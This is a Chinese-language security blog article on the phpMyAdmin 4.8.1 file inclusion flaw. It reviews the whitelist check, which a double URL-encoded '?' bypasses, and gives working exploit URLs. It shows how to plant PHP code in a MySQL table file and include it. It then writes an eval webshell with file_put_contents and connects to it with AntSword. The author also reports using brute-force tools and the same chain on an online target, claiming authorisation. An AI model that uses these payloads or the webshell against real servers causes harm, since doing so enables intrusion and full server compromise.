PhpMyAdmin文件包含漏洞白盒解析(从理论到实战)
2022-4-16 17:22:14 Author: www.freebuf.com(查看原文) 阅读量:10 收藏

声明

本次实践是在合法授权情况下进行,数据已经全部加密,目的是要是提供思路交流学习,请勿用于任何非法活动,否则后果自负。

信息收集

通过FOFA搜索带有phpMyAdmin 4.8.1的目标站点,目的是测试能否通过信息收集来获取被测站点,发现站点后获取相关版本信息。

image-20220414165839348

本地复现安全问题

本地搭建4.8.1版本phpMyAdmin环境

image-20220414171149066

对代码进行升级,先寻找包含include 的函数,尝试寻找文件包含漏洞,发现/index.php文件下存在危险函数include $_REQUEST['target']。

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target']) //target传参不为0或null
    && is_string($_REQUEST['target']) //target传参必须为字符串
    && ! preg_match('/^index/', $_REQUEST['target'])//target传参不能是index开头
    && ! in_array($_REQUEST['target'], $target_blacklist)//target传参不能在黑名单
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target']; //这是突破口,但需要满足以上的条件
    exit;
}

if (isset($_REQUEST['ajax_request']) && ! empty($_REQUEST['access_time'])) {
    exit;
}

看出来,target传参需要满足以下条件,具体解析可以继续看下去

1,target传参不为0或null;
2,target传参必须为字符串;
3,target传参不能是index开头;
4,target传参不能在黑名单;
	$target_blacklist = array (
    'import.php', 'export.php'
);
5,target传参要看Core::checkPageValidity($_REQUEST['target'])的返回结果,这里需要使用payload:server_binlog.php%3f/../1.php

继续定位Core::checkPageValidity($_REQUEST['target']),逐个方法进行过滤排查,具体含义请看补充的代码备注;

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist; 
        }
        if (! isset($page) || !is_string($page)) {
            return false; //如果$page入参非字符串,就返回false,基本不太可能非字符串
        }

        if (in_array($page, $whitelist)) {
            return true; //如果$page在白名单的数组中就返回true
        }

        $_page = mb_substr(
            //自定义函数mb_substr()是返回字符串的一部分,举例echo mb_substr("菜鸟教程", 0, 2);后输出:菜鸟;一句话总结就是聪哪里切,切多长;
            $page,
            0,
            mb_strpos($page . '?', '?')
            //返回要查找的字符串在个别字符串中首次出现的位置,如果123123?1,那对应的位置就是6,其中使用问号来监测,是因为include中不能有?,否则会报错,因此代码写的还是考虑比较周全的。
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

如果$whitelist = self::$goto_whitelist; 显示,如果形参中没有$whitelist[],那就会在默认白名单中补齐;

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

前面的代码可以说是无懈可击,但问题出在了后面的$_page = urldecode($page),问题点,此处对url进行了一次解码,本来?放到url中会报错,但编码后%3f就不报错了,因为会进行解码,get请求会进行一次url编码和解码,但post请求却不会,不过这里的接收方式是REQUEST,其中包含了get和post两种方式。那这样我就可以拼接payload:server_binlog.php%3f/../1.php来包含带有shell的文件了。

$_page = urldecode($page);
//问题点,此处对url进行了一次解码,本来?放到url中会报错,但编码后%3F就不报错了,因为会进行解码,get请求会进行一次url编码和解码,但post请求却不会,不过这里的接收方式是REQUEST,其中包含了get和post两种方式。那这样我就可以拼接payload:server_binlog.php%3f/../1.php来包含带有shell的文件了。 
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

接下来在本地测试绕过思路,在主路径上配置2.php文件,通过包里破解进入phpmyadmin中,进行文件包含漏洞测试。

1,根据之前代码审计,拼接如下链接
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php?/../../2.php
2,因为php框架会get请求解码一次,因此变形
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%3f/../../2.php
3,因为代码中为了兼容性,还会再解码一次,因此再变形
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%253f/../../2.php

请求后,发现读取包含文件成功!

image-20220416142235907

那问题来了,那如果对远程服务器来说,在不上传新文件的情况下,如何能getshell呢,在mysql中发现,每一个表都是对应一个文件,在字段值里面写shell不就等于是在文件中写shell么。。。因此进一步确认;

在phpmyadmin中写shell,然后在文件路径中发现保存成功;


image-20220416152641732

然后通过文件包含的路径去访问,发现getshell成功~!但无法通过蚂剑进行链接,因为需要cookie,所以思路转变为想办法写马,来生成新的文件;

先查下路径
SELECT @@basedir 

然后访问校验
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%253f/../../../mysql/data/ab.frm&8=phpinfo();

image-20220416161801847

线上渗透

通过phpmyadmin的爆破工具进入后台(网上很多这方面工具),然后一样流程写shell;

image-20220416162611801

image-20220416163125740

通过路径访问,发现getshell成功;

http://XXXXX/phpmyadmin/index.php?target=server_binlog.php%253f/../../../../../../../../XXXX/MySql/data/1_18/abc.frm&8=phpinfo();


然后进行写文件马成功;

file_put_contents('ma.php','<?php @eval($_REQUEST[8])?>')

image-20220416165234849

验证写马成功

image-20220416170607045

连接蚂剑,愉快的webshell走起。

image-20220416170754575

总结

image-20220416170903507


文章来源: https://www.freebuf.com/articles/web/329283.html
如有侵权请联系:admin#unsafe.sh